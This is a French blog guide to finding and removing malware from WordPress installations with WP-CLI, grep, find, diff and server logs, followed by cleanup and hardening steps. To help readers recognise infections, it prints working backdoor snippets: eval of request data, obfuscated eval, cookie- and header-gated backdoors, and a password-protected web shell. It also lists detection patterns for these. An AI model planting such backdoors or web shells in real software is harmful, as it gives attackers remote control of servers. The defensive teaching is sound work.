---
title: "Fichiers WordPress Infectes : Comment les Identifier et Nettoyer"
description: "Apprenez a identifier et nettoyer les fichiers WordPress infectes. Scan WP-CLI, grep, analyse des logs et suppression des backdoors."
date: "2026-03-11"
author: "Bastien Allain"
category: "SEO"
tags: ["wordpress", "fichiers-infectes", "malware", "backdoor", "securite", "wp-cli"]
keywords: ["wordpress", "fichiers-infectes", "malware", "backdoor", "securite", "wp-cli"]
image: "/blog/category-seo.webp"
published: true
locale: "fr"
translationKey: "wordpress-infected-files"
imageAlt: "Fichiers WordPress Infectes : Comment les Identifier et Nettoyer"
lastmod: "2026-03-11"
authorImage: "/authors/bastien-allain.webp"
authorTwitter: ""
isFamilyFriendly: true
---

Quand un site WordPress est compromis, le malware laisse des traces dans les fichiers du serveur. Des scripts backdoor caches dans le dossier uploads, du code obfusque insere dans `functions.php`, des fichiers core modifies silencieusement : les **fichiers infectes** sont le terrain de jeu prefere des attaquants. En 2026, avec des techniques d'obfuscation alimentees par l'IA, ces fichiers malveillants sont plus difficiles a reperer que jamais. Ce guide vous apprend a **identifier systematiquement** chaque fichier infecte et a le nettoyer sans casser votre site.

<HowTo
  name="Comment identifier et nettoyer les fichiers WordPress infectes"
  description="Detectez et supprimez les malwares de votre installation WordPress sans perdre vos donnees."
  totalTime="PT1H"
  steps={[
    { name: "Sauvegarder le site avant intervention", text: "Exportez la base de donnees et archivez tous les fichiers avant de toucher a quoi que ce soit." },
    { name: "Scanner les fichiers core avec WP-CLI", text: "Lancez wp core verify-checksums pour detecter les fichiers modifies ou ajoutes." },
    { name: "Rechercher les signatures malveillantes", text: "Utilisez grep pour chercher eval, base64_decode, shell_exec et autres fonctions suspectes." },
    { name: "Verifier le dossier uploads et mu-plugins", text: "Recherchez tout fichier PHP dans wp-content/uploads et mu-plugins, qui ne devrait pas en contenir." },
    { name: "Remplacer les fichiers core compromis", text: "Reinstallez le core avec wp core download --force --skip-content pour ecraser les fichiers infectes." },
    { name: "Nettoyer les themes et plugins", text: "Reinstallez chaque plugin et theme depuis leur source officielle ou comparez avec l'original." },
    { name: "Changer tous les mots de passe et cles", text: "Regenerez les cles de securite dans wp-config.php et changez les mots de passe admin et BDD." },
    { name: "Installer un plugin de securite et surveiller", text: "Activez Wordfence ou SecuPress et surveillez les logs d'acces pendant les semaines suivantes." }
  ]}
/>

## Quels Fichiers les Pirates Ciblent en Priorite

Les attaquants ne modifient pas des fichiers au hasard. Ils ciblent des emplacements strategiques qui leur garantissent **persistence**, **discretion** et **impact maximal**.

### Fichiers Core WordPress

| Fichier | Pourquoi il est cible | Risque |
|---|---|---|
| **wp-config.php** | Contient les identifiants de BDD et les cles de securite | Vol de donnees, backdoor persistante |
| **wp-load.php** | Execute a chaque chargement de page | Code malveillant execute systematiquement |
| **wp-blog-header.php** | Point d'entree principal de WordPress | Redirection, injection de contenu |
| **index.php** (racine) | Premier fichier execute | Redirection, defacement |
| **wp-includes/version.php** | Rarement inspecte par les admins | Backdoor discrete |

### Fichiers de Theme

| Fichier | Technique d'injection |
|---|---|
| **functions.php** | Ajout de fonctions malveillantes en debut ou fin de fichier |
| **header.php** | Injection de JavaScript pour redirect ou minage crypto |
| **footer.php** | Liens de spam SEO caches ou scripts de tracking |
| **404.php** | Backdoor complete (page rarement visitee = faible detection) |
| **style.css** | Commentaires contenant du code PHP (si le serveur est mal configure) |

### Fichiers de Plugin

Les attaquants creent souvent de **faux plugins** dans `/wp-content/plugins/` avec des noms qui semblent legitimes :

- `wp-super-cache-cleanup/`
- `seo-optimizer-pro/`
- `security-update-2026/`
- `ultra-seo-processor/`

Ces faux plugins contiennent des backdoors et sont charges automatiquement par WordPress.

### Le Dossier Uploads : Zone de Danger

Le dossier `/wp-content/uploads/` ne devrait **jamais** contenir de fichiers PHP. Pourtant, c'est l'un des emplacements preferes des pirates car :

- Les permissions d'ecriture sont souvent trop permissives
- Les outils de scan se concentrent rarement sur ce dossier
- La structure en sous-dossiers par date (`/2026/03/`) permet de cacher des fichiers facilement

### Fichiers mu-plugins

Le dossier `/wp-content/mu-plugins/` (must-use plugins) est **charge automatiquement** sans apparaitre dans l'interface d'administration. C'est un emplacement ideal pour les backdoors persistantes :

```bash
# Verifier le contenu du dossier mu-plugins
ls -la /chemin/vers/wordpress/wp-content/mu-plugins/
```

## Comment Detecter les Fichiers Infectes

La detection repose sur une approche multicouche combinant **outils automatises** et **inspection manuelle**.

### Methode 1 : WP-CLI Verify Checksums

WP-CLI permet de comparer les fichiers de votre installation avec les originaux officiels de WordPress :

```bash
# Verifier l'integrite des fichiers core
wp core verify-checksums

# Verifier l'integrite des plugins (depuis wordpress.org)
wp plugin verify-checksums --all

# Exemple de sortie en cas de probleme
# Warning: File doesn't verify against checksum: wp-includes/version.php
# Warning: File not in WordPress installation: wp-includes/wp-tmp.php
```

Cette commande identifie trois types de problemes :

- **Fichiers modifies** : le checksum ne correspond pas
- **Fichiers manquants** : supprimes par le pirate pour casser des fonctionnalites
- **Fichiers ajoutes** : fichiers qui ne font pas partie de l'installation officielle

### Methode 2 : Recherche par Signatures Malveillantes avec grep

```bash
# Chercher les fonctions d'obfuscation courantes
grep -rn "eval(base64_decode" /chemin/vers/wordpress/ --include="*.php"
grep -rn "eval(gzinflate" /chemin/vers/wordpress/ --include="*.php"
grep -rn "eval(str_rot13" /chemin/vers/wordpress/ --include="*.php"

# Chercher les fonctions d'execution systeme
grep -rn "exec(\|system(\|passthru(\|shell_exec(\|popen(" /chemin/vers/wordpress/ --include="*.php"

# Chercher les inclusions distantes
grep -rn "file_get_contents('http\|curl_exec\|wp_remote_get.*http" /chemin/vers/wordpress/wp-content/ --include="*.php"

# Chercher les patterns d'obfuscation par variables
grep -rn '\$[a-zA-Z_]*\s*=\s*"\\\x[0-9a-f]' /chemin/vers/wordpress/ --include="*.php"

# Chercher les iframes cachees
grep -rn "iframe.*style.*display.*none\|iframe.*width.*0.*height.*0" /chemin/vers/wordpress/ --include="*.php"
```

### Methode 3 : Analyse des Dates de Modification

```bash
# Trouver les fichiers PHP modifies dans les 7 derniers jours
find /chemin/vers/wordpress/ -name "*.php" -mtime -7 -type f

# Trouver les fichiers PHP modifies dans les 30 derniers jours dans wp-content
find /chemin/vers/wordpress/wp-content/ -name "*.php" -mtime -30 -type f -ls

# Trouver les fichiers PHP dans le dossier uploads
find /chemin/vers/wordpress/wp-content/uploads/ -name "*.php" -type f

# Trouver les fichiers avec des extensions doubles
find /chemin/vers/wordpress/ -name "*.php.jpg" -o -name "*.php.png" -o -name "*.php.gif" -type f
```

**Attention** : les dates de modification peuvent etre falsifiees avec la commande `touch`. Ne vous fiez pas uniquement a cette methode.

### Methode 4 : Comparaison avec une Installation Propre

```bash
# Telecharger une copie propre de WordPress
wp core download --path=/PATH/TO/CLEAN-WP-clean --force

# Comparer les fichiers core
diff -rq /chemin/vers/wordpress/wp-includes/ /PATH/TO/CLEAN-WP-clean/wp-includes/
diff -rq /chemin/vers/wordpress/wp-admin/ /PATH/TO/CLEAN-WP-clean/wp-admin/

# Comparer un fichier specifique
diff /chemin/vers/wordpress/wp-includes/version.php /PATH/TO/CLEAN-WP-clean/wp-includes/version.php
```

### Methode 5 : Analyse des Logs Serveur

Les logs peuvent reveler quels fichiers sont appeles par le pirate :

```bash
# Chercher les requetes POST suspectes vers des fichiers PHP dans uploads
grep "POST.*uploads.*\.php" /var/log/apache2/access.log

# Chercher les requetes vers des fichiers non-standard
grep "\.php" /var/log/apache2/access.log | grep -v "wp-admin\|wp-login\|wp-cron\|xmlrpc\|wp-json\|index.php"

# Chercher les acces a des fichiers connus comme backdoors
grep "wp-tmp\|wp-feed\|class-wp-cache\|db-safe-mode" /var/log/apache2/access.log
```

## Patterns de Code Malveillant Courants

Reconnaitre le code malveillant a l'oeil nu est une competence essentielle. Voici les **patterns les plus frequents** en 2026.

### Pattern 1 : eval() + base64_decode()

Le grand classique. Le code est encode en base64 pour echapper aux scans basiques :

```php
// Code malveillant typique
eval(base64_decode('aWYoaXNzZXQoJF9SRVFVRVNUWydj...'));

// Ce qui se decode souvent en :
if(isset($_REQUEST['cmd'])){
    eval($_REQUEST['cmd']);
}
```

Pour decoder manuellement :

```bash
echo "aWYoaXNzZXQoJF9SRVFVRVNUWydjbWQnXSkpew==" | base64 --decode
```

### Pattern 2 : Variables Concatenees Obfusquees

Le code utilise la concatenation de variables pour cacher les noms de fonctions :

```php
// Obfuscation par concatenation
$a = 'ev'; $b = 'al'; $c = $a.$b;
$d = 'bas'.'e64'.'_de'.'code';
$c($d('code_malveillant_encode'));

// Obfuscation par chr()
$func = chr(101).chr(118).chr(97).chr(108); // = "eval"
$func('code_malveillant');
```

### Pattern 3 : Backdoor avec Authentification

Des backdoors sophistiquees qui ne s'activent qu'avec un **mot de passe** :

```php
// Backdoor avec authentification par header HTTP
if (isset($_SERVER['HTTP_X_FORWARDED_HOST']) &&
    md5($_SERVER['HTTP_X_FORWARDED_HOST']) === 'a1b2c3d4e5f6...') {
    eval(file_get_contents('php://input'));
}

// Backdoor avec authentification par cookie
if (isset($_COOKIE['wp_session']) &&
    $_COOKIE['wp_session'] === 'secret_token_here') {
    @eval($_POST['code']);
}
```

### Pattern 4 : Injection dans les Fichiers Legitimes

Le code malveillant est insere dans des fichiers existants, souvent au debut ou a la fin :

```php
<?php
// Debut normal du fichier functions.php
// ... puis tout en bas :

@include_once('/chemin/vers/wordpress/wp-content/uploads/2026/03/.cache.php');

// Ou avec un chemin relatif obscurci
@include("\x2f\x68\x6f\x6d\x65".$_SERVER['DOCUMENT_ROOT']."/wp-includes/.wp-tmp.php");
```

### Pattern 5 : Web Shell Complet

Un fichier autonome qui offre un **acces complet** au serveur :

```php
<?php
// Souvent nomme quelque chose d'innocent comme "wp-cache-db.php"
if($_GET['pass']=='secretpass'){
    echo '<form method="post"><textarea name="cmd"></textarea><input type="submit"></form>';
    if(isset($_POST['cmd'])){
        echo '<pre>'.shell_exec($_POST['cmd']).'</pre>';
    }
}
?>
```

### Tableau Recapitulatif des Signatures

| Signature | Danger | Fichiers Typiques |
|---|---|---|
| `eval(base64_decode(` | Execution de code cache | Tous fichiers PHP |
| `eval(gzinflate(` | Code compresse et execute | functions.php, wp-load.php |
| `$_REQUEST['cmd']` | Backdoor interactive | Fichiers ajoutes |
| `@include_once(` avec chemin obscurci | Chargement de backdoor | functions.php, wp-config.php |
| `preg_replace('/.*e'` | Execution via regex (PHP < 7) | Anciens themes |
| `assert(` avec variable | Alternative a eval() | Plugins |
| `file_put_contents` + `$_POST` | Ecriture de fichiers a distance | Backdoors |

## Nettoyage Etape par Etape

### Etape 1 : Preparer l'Environnement

```bash
# Creer une sauvegarde complete AVANT tout nettoyage
wp db export /chemin/vers/backup/db-backup-$(date +%Y%m%d).sql
tar -czf /chemin/vers/backup/files-backup-$(date +%Y%m%d).tar.gz /chemin/vers/wordpress/

# Mettre le site en mode maintenance
wp maintenance-mode activate
```

### Etape 2 : Remplacer les Fichiers Core

C'est la methode la plus sure : remplacer completement les fichiers WordPress par des originaux :

```bash
# Telecharger et remplacer les fichiers core
wp core download --force --skip-content

# Verifier l'integrite apres reinstallation
wp core verify-checksums
```

Cette commande remplace `/wp-admin/` et `/wp-includes/` sans toucher a `/wp-content/`.

### Etape 3 : Nettoyer les Fichiers de Theme

```bash
# Lister les fichiers modifies dans le theme actif
THEME=$(wp theme list --status=active --field=name)

# Si c'est un theme wordpress.org, reinstaller
wp theme install $THEME --force

# Si c'est un theme custom, comparer avec la version originale
diff -rq /chemin/vers/wordpress/wp-content/themes/$THEME/ /chemin/vers/theme-original/

# Verifier functions.php manuellement
head -20 /chemin/vers/wordpress/wp-content/themes/$THEME/functions.php
tail -20 /chemin/vers/wordpress/wp-content/themes/$THEME/functions.php
```

Pour les **themes personnalises** sans version de reference, inspectez chaque fichier PHP :

```bash
# Scanner tous les fichiers du theme pour du code suspect
grep -rn "eval(\|base64_decode\|gzinflate\|str_rot13\|shell_exec\|passthru" \
    /chemin/vers/wordpress/wp-content/themes/$THEME/ --include="*.php"
```

### Etape 4 : Nettoyer les Plugins

```bash
# Reinstaller tous les plugins du depot officiel
wp plugin install $(wp plugin list --field=name --format=csv) --force

# Lister les plugins qui ne sont pas sur wordpress.org (potentiellement suspects)
wp plugin verify-checksums --all 2>&1 | grep "not install"

# Supprimer les faux plugins
ls -la /chemin/vers/wordpress/wp-content/plugins/ | grep -v "index.php"
```

Verifiez manuellement chaque plugin qui n'est pas disponible sur wordpress.org.

### Etape 5 : Purger le Dossier Uploads

```bash
# Supprimer TOUS les fichiers PHP du dossier uploads
find /chemin/vers/wordpress/wp-content/uploads/ -name "*.php" -type f -delete

# Supprimer les fichiers avec des extensions suspectes
find /chemin/vers/wordpress/wp-content/uploads/ -name "*.php.*" -type f -delete
find /chemin/vers/wordpress/wp-content/uploads/ -name ".*.php" -type f -delete

# Supprimer les fichiers .htaccess non necessaires dans uploads
find /chemin/vers/wordpress/wp-content/uploads/ -name ".htaccess" -type f -delete

# Verifier les fichiers caches (commencant par un point)
find /chemin/vers/wordpress/wp-content/uploads/ -name ".*" -type f
```

### Etape 6 : Nettoyer le Dossier mu-plugins

```bash
# Lister le contenu de mu-plugins
ls -la /chemin/vers/wordpress/wp-content/mu-plugins/

# Supprimer tout fichier non reconnu
# Gardez uniquement les fichiers que VOUS avez crees intentionnellement
```

### Etape 7 : Verifier wp-config.php

```bash
# Chercher du code suspect
grep -n "eval\|base64\|include\|require" /chemin/vers/wordpress/wp-config.php

# Verifier les premieres lignes (avant <?php)
head -3 /chemin/vers/wordpress/wp-config.php

# Verifier les dernieres lignes (apres require wp-settings.php)
tail -5 /chemin/vers/wordpress/wp-config.php
```

Regenerez les **cles de securite** et changez le **mot de passe de la base de donnees**. Pour toutes les mesures de durcissement post-nettoyage, consultez notre guide pour [securiser WordPress apres un piratage](/blog/seo/securiser-wordpress-apres-piratage).

### Etape 8 : Corriger les Permissions

```bash
# Permissions recommandees pour WordPress
find /chemin/vers/wordpress/ -type d -exec chmod 755 {} \;
find /chemin/vers/wordpress/ -type f -exec chmod 644 {} \;

# Permissions restrictives pour wp-config.php
chmod 400 /chemin/vers/wordpress/wp-config.php

# Permissions restrictives pour .htaccess
chmod 444 /chemin/vers/wordpress/.htaccess
```

## Outils Recommandes

### Outils en Ligne de Commande

| Outil | Usage | Commande |
|---|---|---|
| **WP-CLI** | Verification d'integrite | `wp core verify-checksums` |
| **grep** | Recherche de signatures | `grep -rn "eval(" --include="*.php"` |
| **find** | Detection de fichiers suspects | `find . -name "*.php" -mtime -7` |
| **diff** | Comparaison avec fichiers propres | `diff -rq /infecte/ /propre/` |
| **clamscan** | Antivirus open-source | `clamscan -r /chemin/vers/wordpress/` |

### Plugins de Securite

| Plugin | Forces | Scan |
|---|---|---|
| **Wordfence** | Scan approfondi des fichiers, firewall WAF | Comparaison avec le depot officiel |
| **Sucuri Security** | Monitoring en temps reel, CDN securise | Scan distant + local |
| **MalCare** | Scan cloud (ne surcharge pas le serveur) | Analyse comportementale |
| **iThemes Security** | Durcissement WordPress complet | Verification d'integrite |

## Verification Post-Nettoyage

```bash
# Scan final complet
wp core verify-checksums
wp plugin verify-checksums --all

# Verifier qu'aucun fichier PHP ne reste dans uploads
find /chemin/vers/wordpress/wp-content/uploads/ -name "*.php" -type f

# Verifier les taches cron (reinfection automatisee)
wp cron event list

# Scanner avec grep une derniere fois
grep -rn "eval(base64_decode\|eval(gzinflate" /chemin/vers/wordpress/ --include="*.php"
```

### Checklist de Validation

- Verification des checksums core : **OK**
- Verification des checksums plugins : **OK**
- Aucun fichier PHP dans `/uploads/` : **OK**
- Aucun faux plugin dans `/plugins/` : **OK**
- Dossier `/mu-plugins/` propre : **OK**
- `wp-config.php` verifie : **OK**
- Cles de securite regenerees : **OK**
- Mot de passe BDD change : **OK**
- Permissions fichiers corrigees : **OK**
- Cron jobs nettoyes : **OK**
- Scan Wordfence/Sucuri propre : **OK**

## Prevention : Eviter la Reinfection

La prevention est tout aussi importante que le nettoyage. Sans mesures preventives, la reinfection est quasi certaine.

### Monitoring des Fichiers

Mettez en place une surveillance automatisee des modifications de fichiers :

```bash
# Script de monitoring simple (a executer via cron)
#!/bin/bash
WORDPRESS_PATH="/chemin/vers/wordpress"
HASH_FILE="/chemin/vers/monitoring/files.md5"

# Generer les checksums actuels
find $WORDPRESS_PATH -name "*.php" -type f -exec md5sum {} \; > /var/tmp/current_hashes.md5

# Comparer avec les checksums de reference
diff $HASH_FILE /var/tmp/current_hashes.md5 > /var/tmp/file_changes.txt

if [ -s /var/tmp/file_changes.txt ]; then
    mail -s "ALERTE: Fichiers WordPress modifies" admin@votresite.com < /var/tmp/file_changes.txt
fi
```

### Durcissement du Serveur

- Desactivez **l'execution PHP** dans le dossier uploads via `.htaccess` :

```apache
# /wp-content/uploads/.htaccess
<Files "*.php">
    Deny from all
</Files>
```

- Desactivez le **listing de repertoires** :

```apache
Options -Indexes
```

- Limitez les **permissions d'ecriture** aux seuls dossiers necessaires

### Mises a Jour et Maintenance

- Activez les **mises a jour automatiques** pour le core et les plugins
- Supprimez les **themes et plugins inactifs**
- Changez regulierement les **mots de passe** (admin, FTP, BDD)
- Effectuez des **sauvegardes quotidiennes** et testez la restauration
- Souscrivez a un [contrat de maintenance WordPress](/services/wordpress/maintenance) pour automatiser ces taches

## Quand Faire Appel a un Professionnel

Si vous faites face a l'un de ces scenarios, un [service professionnel de suppression de malware WordPress](/services/wordpress/malware-removal) est recommande :

- Les fichiers infectes reviennent apres chaque nettoyage
- Vous ne trouvez pas la source de l'infection
- Le site a ete signale par Google Safe Browsing
- Vous gerez des donnees sensibles (e-commerce, donnees personnelles)
- Vous souhaitez un [audit de securite complet](/services/wordpress/security)

## Conclusion

L'identification et le nettoyage des **fichiers WordPress infectes** exigent methode et rigueur. En combinant les outils automatises (WP-CLI, grep, diff) avec une inspection manuelle des fichiers strategiques, vous pouvez eliminer chaque trace de malware. La cle est d'etre **systematique** : ne sautez aucune etape, verifiez chaque emplacement, et mettez en place un monitoring permanent.

Pour un guide complet sur le processus de nettoyage, consultez notre article sur le [nettoyage d'un WordPress pirate](/blog/seo/wordpress-pirate-guide-nettoyage). Si vous suspectez que votre site contient des backdoors specifiques, notre guide sur la [suppression manuelle de malware WordPress](/blog/seo/supprimer-malware-wordpress-manuellement) vous aidera a les eliminer une par une.
